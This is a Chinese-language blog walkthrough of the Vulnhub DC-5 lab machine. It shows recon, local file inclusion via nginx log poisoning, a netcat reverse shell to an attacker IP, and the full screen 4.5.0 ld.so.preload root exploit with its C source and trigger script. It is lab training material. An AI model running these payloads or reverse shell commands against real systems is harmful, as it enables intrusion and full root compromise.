dc-5 靶机渗透学习

信息收集

扫描存活主机

nmap -sP 192.168.202.0/24

对靶机开放的端口服务进行扫描

nmap -A -p- -v 192.168.202.143

漏洞利用

访问80端口 ,用Wappalyzer识别框架,发现只是个简单的页面

 查看一下源代码,发现有五个php文件,分别对应五个标题

来到Contact查看了一下,发现有几个地方可以填写信息,抓取发送的数据包查看了一下,没什么特别。

发送数据后会跳转到thankyou.php,并且提交数据,感觉没什么利用点,xss也不可能

用nikto扫描一波,看看有没有什么漏洞或者敏感文件

发现连简单的文件都没扫出,换dirsearch试试

发现多了一个php文件,访问一下看看

发现是页面底部的标识....没想到有什么用,先抓取个数据包看看吧

数据包也没什么特殊,但是仔细一看,发现每次刷新上面的年份就会发生变化。我们想到,DC-5的每个栏目的下方都有这个标识,都刷新一下,看看哪个会发生变化。

经过测试,发现试thankyou.php这个页面刷新后会发生变化,查看一下源代码,发现年份的改变似乎与footer.php有关 

猜测一波可能存在文件包含漏洞,对参数进行测试,发现?file存在文件包含漏洞

那么接下来就很好办了,既然没有框架,那么数据库的账号密码也不知道在哪,想要拿shell,可以尝试通过日志包含。

先在thankyou.php页面用hackbar传值User-Agent的值为一句话密码

通过Wappalyzer识别出是Nginx服务器,默认的日志位置为

/var/log/nginx/access.log

用蚁剑连接即可

 
反弹shell

为了方便后面的操作,先来弹个shell吧。

在kali机

nc -lvnp 8888

在蚁剑虚拟终端输入命令

nc -e /bin/bash 192.168.202.129 8888

弹了之后,在反弹shell处弄个交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权

尝试无密码使用root级别命令,发现行不通

sudo -l

尝试SUID提权,发现有个/bin/screen-4.5.0

find / -perm -4000 -print 2>/dev/null

 Linux终端命令神器--Screen命令详解。助力Linux使用和管理 - 云+社区 - 腾讯云 (tencent.com)

进入searchsploit寻找一下漏洞

searchsploit screen 4.5.0

查看一下第一个的详细信息,只能说利用起来有点麻烦,大致分为三个部分,框起来的两个部分,和剩下的部分。

searchsploit -x linux/local/41154.sh

按照要求先在kali将41154.sh中上面面一部分c语言代码另存为libhax.c文件,内容如下

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

再根据它给的命令编译生成文件libhax.so

gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c,内容如下

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

使用命令生成rootshell文件

gcc -o rootshell rootshell.c

除去c语言部分,将剩下的内容另存为dc5.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

将libhax.so、rootshell、dc5.sh从kali机复制到物理机,接着从蚁剑上传。 也可以放到服务器上用wget下载.......

在反弹shell处进入/tmp目录,赋予dc5.sh权限后,运行提权成功。 

cd /tmp
ls
chmod +x dc5.sh
./dc5.sh

当执行shell文件时报错

bad interpreter: No such file or directory

产生这种情况的原因是shell文件是在windows平台上写的,导致linux平台无法找到。

解决方法一:参考dalao的操作即可解决

解决方法:
用vi打开该sh文件,使用 :set ff=unix 保存,即可解决该问题

参考文章:
https://blog.csdn.net/ooooooobh/article/details/82766547

解决方法二:手动输入以下命令

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell

参考文章

vulnhub-DC5靶机 - xinZa1

【渗透项目】靶机DC-5渗透过程_super小明的博客-CSDN博客

Vulnhub靶机实战——DC-5_冠霖L的博客-CSDN博客

vulnhub之DC5靶机_lainwith的博客-CSDN博客

Linux终端命令神器--Screen命令详解。助力Linux使用和管理 - 云+社区 - 腾讯云 (tencent.com)

Linux screen命令 | 菜鸟教程 (runoob.com)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值